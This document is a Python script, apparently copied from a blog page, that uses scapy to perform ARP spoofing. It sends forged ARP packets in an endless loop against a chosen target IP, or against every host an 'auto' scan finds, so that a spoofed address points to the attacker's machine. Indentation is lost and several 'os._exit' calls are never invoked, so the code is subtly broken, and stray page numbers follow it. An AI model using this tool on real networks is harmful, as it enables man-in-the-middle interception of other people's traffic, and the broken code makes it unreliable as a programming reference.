from scapy.all import *
import os
import cliscan
import time
import argparse
import re
def arpspof(iface,ip_1,ip_2):
eth=Ether()
eth.dst='ff:ff:ff:ff:ff:ff'
arp=ARP()
arp.hwlen=6
arp.plen=4
arp.op=1
arp.pdst=ip_1
arp.psrc=ip_2
arp.hwsrc=get_if_hwaddr(iface)
pkt=eth/arp
ans,noans=srp(pkt,verbose=False)
if ans:
print('from',ans[0][1].psrc,"reply",ans[0][1].pdst,"is at",ans[0][1].hwdst)
time.sleep(0.5)
if __name__ == '__main__':
par=argparse.ArgumentParser("python arpqip")
par.add_argument("-t","--target",help="target ip address,You can also use \"-t auto\" to auto search target and start attack")
par.add_argument("-s","--source",help="pretend ip address")
par.add_argument("-i","--interface",help="select which interface to start attach")
args=par.parse_args()
iface=args.interface
if args.target == "auto":
try:
re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.source).group()
print("Your mac address on",iface,"is",get_if_hwaddr(iface))
print("[*] Arp spoofing will start!")
except:
print("Invaild argument \tuse -h to get help")
os._exit
try:
res=cliscan.arpscan(gt=args.source)
time.sleep(2)
while True:
for i in res:
arpspof(args.interface,i,args.source)
except:
os._exit
else:
try:
re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.target).group()
re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.source).group()
except:
print("Invaild argument \tuse -h to get help")
os._exit
try:
print("[*] Arp spoofing will start!")
time.sleep(2)
while True:
arpspof(args.interface,args.target,args.source)
except:
os._exit
06-26
3719

03-25
2706

12-25
941
